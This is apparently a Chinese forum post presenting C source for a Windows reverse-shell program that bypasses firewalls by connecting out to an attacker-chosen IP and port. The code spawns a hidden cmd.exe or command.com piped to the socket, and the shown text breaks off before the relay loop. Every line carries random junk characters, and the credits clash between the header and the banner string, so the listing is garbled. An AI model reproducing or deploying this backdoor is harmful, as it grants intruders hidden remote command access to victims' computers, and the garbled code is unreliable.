这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YI!@,t
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/* ============================== k}tTl 2
Rebound port in Windows NT "H"4]m1Wc
By wind,2006/7
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===============================*/ iLR^ V!
#include PEIf)**0N
#include KsR^:_e
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#pragma comment(lib,"wsock32.lib") DwBKqhu
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void OutputShell(); b$O1I[o
SOCKET sClient; x=jS=3$8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^`<
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void main(int argc,char **argv) %*Aq%,.={
{ 8*[Q{:'.
WSADATA stWsaData; l2[{T^
int nRet; aH(B}wh{
SOCKADDR_IN stSaiClient,stSaiServer; ~P5;k_&
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if(argc != 3) tJgo%P1
{ @Q#<-/
printf("Useage:\n\rRebound DestIP DestPort\n"); \pJBBG
return; 3<vw#]yL
} n |Is&fy
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WSAStartup(MAKEWORD(2,2),&stWsaData); '$m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !hS~\+E
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stSaiClient.sin_family = AF_INET; s J~WzQ
stSaiClient.sin_port = htons(0); 2C@s-`b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kntM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8&2W^f5
{ )xPfz
printf("Bind Socket Failed!\n"); "1X@t'H38
return; e/*T,ZJ
} 8 "5^mj
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stSaiServer.sin_family = AF_INET; hErO.ad1o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t.YY?5l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E%tGwbi7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W2 p&LP
{ 1w|C+m/(
printf("Connect Error!"); %M
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return; I%qZMoS1h
} Kp.d#W_TX
OutputShell(); 0'Y'K6hG`
} ^;[|,:8f7L
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void OutputShell() XzV:q!e-
{
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char szBuff[1024]; 1NI%J B
SECURITY_ATTRIBUTES stSecurityAttributes; hNWZ1r~_
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6Rcl HU
STARTUPINFO stStartupInfo; pjVF^gv,*
char *szShell; ICxj$b
PROCESS_INFORMATION stProcessInformation; XI"8d.VR
unsigned long lBytesRead; K[/sVaPZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U`w `Cr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `of`u B
stSecurityAttributes.lpSecurityDescriptor = 0; i=mk#.j~
stSecurityAttributes.bInheritHandle = TRUE; WPnw
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8a}et8df:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0%f}w0]:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7>sNjOt@M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 52H'aHO1
stStartupInfo.wShowWindow = SW_HIDE; 08 $y1;
stStartupInfo.hStdInput = hReadPipe; I(2qXOG
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y(D&JKx
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GetVersionEx(&stOsversionInfo); :\sz`p?EC
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switch(stOsversionInfo.dwPlatformId) rz'A#-?'oG
{ IA$)E
case 1: %40uw3
szShell = "command.com"; v0|[w2Q2
break; ecg>_%.>
default: F
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szShell = "cmd.exe"; P_{jZ}y(
break; npD`9ff
} ,KO_h{mI<
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